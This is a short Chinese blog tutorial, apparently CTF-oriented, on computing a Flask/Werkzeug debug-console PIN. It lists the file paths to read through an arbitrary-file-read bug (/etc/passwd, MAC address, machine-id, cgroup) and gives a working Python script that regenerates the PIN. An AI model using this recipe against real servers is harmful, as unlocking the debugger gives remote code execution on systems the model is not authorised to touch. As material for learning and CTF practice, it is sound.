首页 > 其他分享 >flask 算 pin

flask 算 pin

时间:2024-10-18 15:10:54浏览次数:1  
标签:group pin flask num bit id

pin码是flask在开启debug模式下,进行代码调试模式所需的进入密码,需要正确的PIN码才能进入调试模式.
对于pin码运算方法的描述如下
pin码生成要六要素

1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了

详细说一下这个machine_id的获取方式.一般是从如下的三个文件中的某一个去获取:/proc/self/cgroup,/etc/machine-id/proc/sys/kernl/random/boot_id.

如果self被禁用可以用1来绕过,cgroup被禁用可以使用mountinfo或者cpuset去绕过.

在python3.8以后使用的脚本如下

import hashlib
from itertools import chain
probably_public_bits = [
    'app',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.8/site-packages/flask/app.py' 
]

private_bits = [
    '2485376911915',
    '7265fe765262551a676151a24c02b7b646a18828428b87e35c5482255b121e8f7464b02e50ffe3f1d626f8c05793f49a'# get_machine_id(), /etc/machine-id  /proc/sys/kernel/random/boot_id
]   

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

标签:group,pin,flask,num,bit,id
From: https://www.cnblogs.com/meraklbz/p/18474344

相关文章

  • python+flask框架的购书推荐小程序(开题+程序+论文) 计算机毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容选题背景随着互联网技术的飞速发展,电子商务已成为人们日常生活的重要组成部分,其中在线购书因其便捷性和丰富的选择而备受欢迎。然而,面对海量的图书......
  • python+flask框架的公寓管理系统小程序小程序端28(开题+程序+论文) 计算机毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容选题背景随着城市化进程的加速,公寓租赁市场日益繁荣,传统的人工管理方式已难以满足高效、便捷的管理需求。关于公寓管理系统的研究,现有研究主要以大......
  • python+flask框架的公安管理系统(开题+程序+论文) 计算机毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容选题背景公安管理系统作为现代警务工作的重要组成部分,对于提升公安部门的工作效率、加强社会治安管理具有重要意义。目前,国内外关于公安管理系统的......
  • python+flask框架的弓蟹科信息系统(开题+程序+论文) 计算机毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容选题背景弓蟹科作为海洋生物多样性的重要组成部分,在生态学、生物分类学以及渔业资源管理中占据重要地位。现有研究主要集中在弓蟹科的分类学特征、......
  • python+flask框架的高校计算机服务微信小程序设计与开发小程序18(开题+程序+论文) 计
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容选题背景随着移动互联网技术的迅猛发展,微信小程序作为一种轻量级的应用形式,已广泛应用于各行各业。高校作为教育和科研的重要场所,其计算机服务需求......
  • python+flask框架的高校点名系统(开题+程序+论文) 计算机毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容选题背景在高校教育管理中,点名系统是保证课堂出勤率、提升教学质量的重要工具。现有研究主要集中在传统点名方式(如纸质点名、口头点名)的优缺点分析......
  • python+flask框架的高考志愿填报小程序小程序38(开题+程序+论文) 计算机毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容选题背景高考志愿填报是每位高中生及其家庭面临的重要决策过程,直接关系到学生未来的学习和发展方向。现有研究主要集中在高考制度、教育政策、学生......
  • python+flask框架的高考志愿填报小程序小程序28(开题+程序+论文) 计算机毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容选题背景高考志愿填报是每位高中生面临的重要选择,它不仅关系到学生未来的职业发展和人生规划,也是教育资源配置和社会人才流动的重要环节。现有研究......
  • flask返回图片流
    #-*-coding:utf-8-*-importosfromioimportBytesIOfromPILimportImagefromflaskimportFlask,make_response,send_fileapp=Flask(__name__)app.config['SECRET_KEY']='test'BASE_PATH=os.path.dirname(os.path.abspath(__file......
  • 关于Flask模块化开发方式
    关于Flask模块化开发方式可以使用两个后端代码来分别控制不同的模块。在Flask和Waitress这样的框架中,这通常通过以下几种方式来实现:使用蓝图(Blueprints):Flask提供了蓝图功能,允许你将应用程序的不同部分拆分为多个模块。这些蓝图可以分别处理不同的逻辑或功能区域......